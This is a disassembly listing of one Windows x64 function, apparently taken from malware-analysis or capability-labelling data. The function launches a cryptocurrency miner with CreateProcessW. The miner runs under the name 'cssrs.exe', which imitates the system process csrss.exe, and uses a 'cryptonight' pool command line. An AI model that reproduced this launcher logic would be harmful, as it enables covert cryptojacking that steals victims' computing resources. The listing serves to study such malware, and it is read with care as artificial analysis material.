Function at 0x140006a20
Capabilities:
Create process on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rsp + 0x370], rbx
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r15, rdx
mov qword [rbp - 0x80], rdx
mov r13, rcx
call fcn.140002ec0
mov rcx, rax
xor r12d, r12d
mov r8d, r12d
test rax, rax
setne r8b
test r8d, r8d
jne 0x140006a8c
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rax]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x78], rbx
call fcn.140002ec0
mov rdx, rax
mov ecx, r12d
test rax, rax
setne cl
test ecx, ecx
jne 0x140006abb
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp - 0x78], rdi
mov word [rbp], r12w
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 2]
call fcn.14000b410
mov r8d, 0x104
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rax, [rbp]
or rsi, 0xffffffffffffffff
inc rsi
cmp word [rax + rsi*2], 0
jne 0x140006b06
test esi, esi
jne 0x140006b74
lea rdx, [rbx - 0x18]
mov rsi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x140006bfa
cmp dword [rdx + 0x10], 0
jge 0x140006b49
cmp dword [rbx - 0xc], 0
jge 0x140006b3c
mov ecx, 0x80070057
call fcn.140003000
int3
mov dword [rbx - 0x10], r12d
mov word [rbx], r12w
jmp 0x140006bfa
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140006b59
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x78], rax
mov rdi, qword [rbp - 0x78]
jmp 0x140006bfa
mov r12d, dword [rbx - 0x10]
lea r15, [rbp]
sub r15, rbx
sar r15, 1
test esi, esi
jns 0x140006b91
mov ecx, 0x80070057
call fcn.140003000
int3
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, esi
or eax, ecx
jge 0x140006bb3
mov edx, esi
lea rcx, [rsp + 0x78]
call fcn.140002810
mov rbx, qword [rsp + 0x78]
movsxd rax, esi
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
add rdx, rdx
cmp r15, r12
lea r12, [rax + rax]
mov r9, r12
ja 0x140006bd7
lea r8, [rbx + r15*2]
call fcn.14000a350
jmp 0x140006be0
lea r8, [rbp]
call fcn.14000a058
cmp esi, dword [rbx - 0xc]
jg 0x140006e22
mov dword [rbx - 0x10], esi
xor eax, eax
mov word [r12 + rbx], ax
mov r15, qword [rbp - 0x80]
xor r12d, r12d
mov r8d, 1
lea rdx, [0x140022ef4]
lea rcx, [rsp + 0x78]
call fcn.140003890
lea r8, str.cssrs.exe
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140003f00
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
add rdi, 0xffffffffffffffe8
cmp rcx, rdi
je 0x140006c7a
cmp dword [rdi + 0x10], 0
jl 0x140006c6c
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x140006c6c
call fcn.140003800
mov rbx, rax
lock add dword [rdi + 0x10], 0xffffffff
jg 0x140006c62
mov rcx, qword [rdi]
mov r8, qword [rcx]
mov rdx, rdi
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rax, [rbx + 0x18]
mov qword [rbp - 0x78], rax
jmp 0x140006c7a
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x78]
call fcn.140002590
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140006c93
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14000b410
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 1
mov word [rbp - 0x30], r12w
mov rbx, qword [0x14002d9e0]
sub rbx, qword [0x14002d9d8]
sar rbx, 3
cmp dword [0x14002cf74], eax
jne 0x140006cf9
xor ecx, ecx
call fcn.14000ac64
mov rcx, rax
call fcn.14000af40
mov dword [0x14002cf74], 1
call fcn.14000af14
xor edx, edx
div ebx
movsxd rbx, edx
call fcn.140002ec0
mov r8, rax
mov ecx, r12d
test rax, rax
setne cl
test ecx, ecx
jne 0x140006d25
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rax]
mov rcx, r8
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x80], rax
mov eax, dword [r13 + 8]
mov dword [rsp + 0x28], eax
mov rax, qword [r15]
mov qword [rsp + 0x20], rax
mov r9, qword [0x14002d9d8]
mov r9, qword [r9 + rbx*8]
mov r8, qword [rbp - 0x78]
lea rdx, str._s__a_cryptonight__o__s__u__s__p_x__t__d
lea rcx, [rbp - 0x80]
call fcn.140004420
mov rbx, qword [rbp - 0x80]
cmp dword [rbx - 8], 1
jle 0x140006d7f
mov edx, dword [rbx - 0x10]
lea rcx, [rbp - 0x80]
call fcn.140002870
mov rbx, qword [rbp - 0x80]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
test eax, eax
je 0x140006dd7
mov rcx, qword [rsp + 0x60]
mov qword [r13], rcx
lea rdx, str.mining
mov ecx, dword [rsp + 0x70]
call fcn.1400039b0
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140006dec
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140006e05
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140006e1e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, edi
jmp 0x140006e2d
mov ecx, 0x80070057
call fcn.140003000
nop
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140009a40
mov rbx, qword [rsp + 0x370]
add rsp, 0x320
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret